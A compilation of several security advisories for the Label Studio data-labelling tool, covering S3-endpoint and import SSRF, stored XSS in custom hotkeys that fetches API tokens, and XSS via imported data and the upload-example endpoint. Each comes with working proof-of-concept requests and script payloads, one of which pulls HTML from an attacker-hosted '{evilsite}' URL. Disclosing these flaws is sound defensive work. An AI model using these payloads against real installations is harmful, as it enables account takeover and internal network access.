Description Label Studio's S3 storage integration feature contains a Server-Side Request Forgery (SSRF) vulnerability in its endpoint configuration. When creating an S3 storage connection, the application allows users to specify a custom S3 endpoint URL via the s3endpoint parameter. This endpoint URL is passed directly to the boto3 AWS SDK without proper validation or restrictions on the protocol or destination.
The vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal services by specifying them as the S3 endpoint. When the storage sync operation is triggered, the application attempts to make S3 API calls to the specified endpoint, effectively making HTTP requests to the target service and returning the response in error messages.
This SSRF vulnerability enables attackers to bypass network segmentation and access internal services that should not be accessible from the external network. The vulnerability is particularly severe because error messages from failed requests contain the full response body, allowing data exfiltration from internal services.
Steps to reproduce 1. Create an account in Label Studio
2. Create a new project with basic configuration
3. Create an S3 storage connection with the following configuration: json { "project": 1, "title": "Test Storage", "bucket": "<filename>", "s3endpoint": "http://internal-web", "usebloburls": true, "awsaccesskeyid": "test", "awssecretaccesskey": "test" } 4. Trigger a storage sync operation by sending a POST request to /api/storages/s3/[storageid]/sync
The application will attempt to connect to the specified endpoint URL as if it were an S3 service. When the request fails due to invalid S3 API responses, the error message will contain the raw response from the internal service, allowing access to internal resources. Mitigations - Implement strict validation of S3 endpoint URLs to allow only valid S3service endpoints - Add an allowlist of endpoint domains and protocols - Sanitize error messages to prevent leakage of sensitive information from failed requests - Consider implementing network-level controls to restrict outbound connections from the application server
Impact This vulnerability has high severity as it allows authenticated users to make requests to arbitrary internal services from the application server, potentially exposing sensitive internal resources and bypassing network segmentation. The inclusion of response data in error messages makes this particularly effective for data exfiltration.
Prologue
These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.
Summary
A persistent stored cross-site scripting (XSS) vulnerability exists in the customhotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their customhotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.
Details Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:
js var customHotkeys = {{ user.customhotkeys|jsondumpsensureascii|safe }}; Here, user.customhotkeys is run through jsondumpsensureascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensureascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.
In users/api.py, the PATCH endpoint allows updating of customhotkeys:
python user.customhotkeys = serializer.validateddata['customhotkeys'] user.save(updatefields=['customhotkeys'])
The serializer allows < and > characters (e.g., "</script><script>…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:
json { "firstname":"poc", "lastname":"test", "phone":"123", "customhotkeys":{ "INJ;</script><script>fetch(/api/current-user/token).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/xx":{ "key":"x", "active":true } } } When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original <script> tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.
PoC
1. Login to the application - Go to the login page: GET /user/login/
2. Identify your user ID (via API) - GET /api/current-user/whoami - In the response JSON you will see your user ID (for example "id": 123). - Note this ID for the next step.
3. Inject a malicious hotkey payload in the PATCH request /api/users/{id} - Using the user API, send a PATCH request to update your customhotkeys.
Example request
http PATCH /api/users/25 HTTP/1.1 Host: 0.0.0.0:8080 Content-Length: 288 sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 content-type: application/json baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-publickey=5f51920ff82a4675a495870244869c6b,sentry-traceid=926224d7bbfb4f0da9f6ebe333744a52,sentry-samplerate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false Accept: / Origin: http://0.0.0.0:8080 Referer: http://0.0.0.0:8080/user/account/personal-info Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6 Cookie: {STRIPPED} Connection: keep-alive
{ "firstname":"poc", "lastname":"test", "phone":"123", "customhotkeys":{ "INJ;</script><script>fetch(/api/current-user/token).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/xx":{ "key":"x", "active":true } } } Example response json {"id":25,"firstname":"poc","lastname":"test","username":"test","email":"test@dcodx.com","lastactivity":"2025-10-24T15:18:18.494398Z","customhotkeys":{"INJ;</script><script>fetch(/api/current-user/token).then(r=>r.json()).then(t=>alert(t.token))</script><script>/xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","activeorganization":1,"activeorganizationmeta":{"title":"Label Studio","email":"poctestxgd9ce@example.com"},"allownewsletters":false,"datejoined":"2025-10-24T15:18:18.494532Z"} 4. Verify the injected string persists - Still logged in as your user, go to your account page (e.g., GET /user/account/). - See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server
Impact
Exploitation impact: - Full account takeover of victim user(s). - Exposure of API tokens granting access to internal/external APIs. - Unauthorized API access, data exfiltration, token reset or privilege escalation. - If victim is administrator or privileged user, wide system compromise possible.
Who is impacted: - All users who load the template and whose session/token is accessible via browser. - The organization’s application and data. - Potentially other end-users if cross-user token exfiltration occurs.
A server-side request forgery vulnerability in HumanSignal Label Studio through 1.24.0.dev0 exists because SSRFPROTECTIONENABLED is set to false by default. The import-from-URL endpoint fetches any caller-supplied URL including internal loopback addresses on the default installation. An authenticated user can use this to reach internal services, cloud metadata endpoints, and other resources not intended for external access.
Introduction
This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.10.1 and was tested on version 1.9.2.post0.
Overview
Label Studio had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website.
Description
The following code snippet in Label Studio showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL.
python def tasksfromurl(fileuploadids, project, user, url, couldbetaskslist): """Download file using URL and read tasks from it""" # process URL with tasks try: filename = url.rsplit('/', 1)[-1] <1>
response = ssrfsafeget( url, verify=project.organization.shouldverifysslcerts(), stream=True, headers={'Accept-Encoding': None} ) filecontent = response.content checktasksmaxfilesize(int(response.headers['content-length'])) fileupload = createfileupload(user, project, SimpleUploadedFile(filename, filecontent)) if fileupload.formatcouldbetaskslist: couldbetaskslist = True fileuploadids.append(fileupload.id) tasks, foundformats, datakeys = FileUpload.loadtasksfromuploadedfiles(project, fileuploadids)
except ValidationError as e: raise e except Exception as e: raise ValidationError(str(e)) return datakeys, foundformats, tasks, fileuploadids, couldbetaskslist 1. The file name that was set was retrieved from the URL.
The downloaded file path could then be retrieved by sending a request to /api/projects/{projectid}/file-uploads?ids=[{downloadid}] where {projectid} was the ID of the project and {downloadid} was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the following code snippet demonstrated that the Content-Type of the response was determined by the file extension, since mimetypes.guesstype guesses the Content-Type based on the file extension.
python class UploadedFileResponse(generics.RetrieveAPIView): permissionclasses = (IsAuthenticated,)
@swaggerautoschema(autoschema=None) def get(self, args, kwargs): request = self.request filename = kwargs['filename'] # XXX needed, on windows os.path.join generates '\' which breaks FileUpload file = settings.UPLOADDIR + ('/' if not settings.UPLOADDIR.endswith('/') else '') + filename logger.debug(f'Fetch uploaded file by user {request.user} => {file}') fileupload = FileUpload.objects.filter(file=file).last()
if not fileupload.haspermission(request.user): return Response(status=status.HTTP403FORBIDDEN)
file = fileupload.file if file.storage.exists(file.name): contenttype, encoding = mimetypes.guesstype(str(file.name)) <1> contenttype = contenttype or 'application/octet-stream' return RangedFileResponse(request, file.open(mode='rb'), contenttype=contenttype) else: return Response(status=status.HTTP404NOTFOUND) 1. Determines the Content-Type based on the extension of the uploaded file by using mimetypes.guesstype.
Since the Content-Type was determined by the file extension of the downloaded file, an attacker could import in a .html file that would execute JavaScript when visited.
Proof of Concept
Below were the steps to recreate this issue:
1. Host the following HTML proof of concept (POC) script on an external website with the file extension .html that would be downloaded to the Label Studio website.
html <html> <body> <h1>Data Import XSS</h1> <script> alert(document.domain); </script> </body> </html>
2. Send the following POST request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the {victimhost} is the address and port of the victim Label Studio website (eg. labelstudio.com:8080), {projectid} is the ID of the project where the data would be imported into, {cookies} are session cookies and {evilsite} is the website hosting the malicious HTML file (named xss.html in the following example).
http POST /api/projects/{projectid}/import?committoproject=false HTTP/1.1 Host: {victimhost} Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded Content-Length: 43 Connection: close Cookie: {cookies} Pragma: no-cache Cache-Control: no-cache
url=https://{evilsite}/xss.html
3. To retrieve the downloaded file path could be retrieved by sending a GET request to /api/projects/{projectid}/file-uploads?ids=[{downloadid}], where {downloadid} is the ID of the file download from the previous step.
4. Send your victim a link to /data/{filepath}, where {filepath} is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting /data/upload/1/cfcfc340-xss.html.
!xss-import-alert
Impact
Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.
Remediation Advice
For all user provided files that are downloaded by Label Studio, set the Content-Security-Policy: sandbox; response header when viewed on the site. The sandbox directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a same-origin policy (documentation). Restrict the allowed file extensions that could be downloaded.
Discovered - August 2023, Alex Brown, elttam
Summary On all Label Studio versions prior to 1.11.0, data imported via file upload feature is not properly sanitized prior to being rendered within a Choices or Labels tag, resulting in an XSS vulnerability.
Details Need permission to use the "data import" function. This was reproduced on Label Studio 1.10.1.
PoC
1. Create a project. !Create a project
2. Upload a file containing the payload using the "Upload Files" function. !2 Upload a file containing the payload using the Upload Files function !3 complete
The following are the contents of the files used in the PoC { "data": { "prompt": "labelstudio universe image", "images": [ { "value": "id123#0", "style": "margin: 5px", "html": "<img width='400' src='https://labelstud.io/astro/images-tab.64279c16ZaBSvC.avif' onload=alert(document.cookie)>" } ] } }
3. Select the text-to-image generation labeling template of Ranking and scoring !3 Select the text-to-image generation labelling template for Ranking and scoring !5 save
4. Select a task !4 Select a task
5. Check that the script is running !5 Check that the script is running
Impact Malicious scripts can be injected into the code, and when linked with vulnerabilities such as CSRF, it can cause even greater damage. In particular, It can become a source of further attacks, especially when linked to social engineering.
Description Label Studio's /projects/upload-example endpoint allows injection of arbitrary HTML through a GET request with an appropriately crafted labelconfig query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution.
The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL.
This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions.
Steps to reproduce 1. Create a malicious label config that includes an XSS payload in embedded task data:
xml <View><!-- {"data": {"text": "<div><img src=x onerror=eval(atob(YWxlcnQoIlhTUyIp))></div>"}} --><HyperText name="text" value="$text"/></View>
2. URL encode the payload and access the following URL:
- http://app/projects/upload-example/?labelconfig=%3CView%3E%3C!--%20{%22data%22:%20{%22text%22:%20%22%3Cdiv%3E%3Cimg%20src=x%20onerror=eval(atob(YWxlcnQoIlhTUyIp))%3E%3C/div%3E%22}}%20--%3E%3CHyperText%20name=%22text%22%20value=%22$text%22/%3E%3C/View%3E
When executed, the payload causes the application to render an HTML page containing an img tag that fails to load, triggering the onerror event handler which executes base64-decoded JavaScript, demonstrating successful XSS execution in the victim's browser. Mitigations - Enable the Content Security Policy in enforcement mode instead of report-only mode to actively block unauthorized script execution - Deprecate the GET behavior at the example-config endpoint since it's not used
Impact The vulnerability requires no special privileges and can be exploited by getting a victim to visit a crafted URL. The impact is high as it allows arbitrary JavaScript execution in victims' browsers, potentially exposing sensitive data or enabling account takeover through session theft.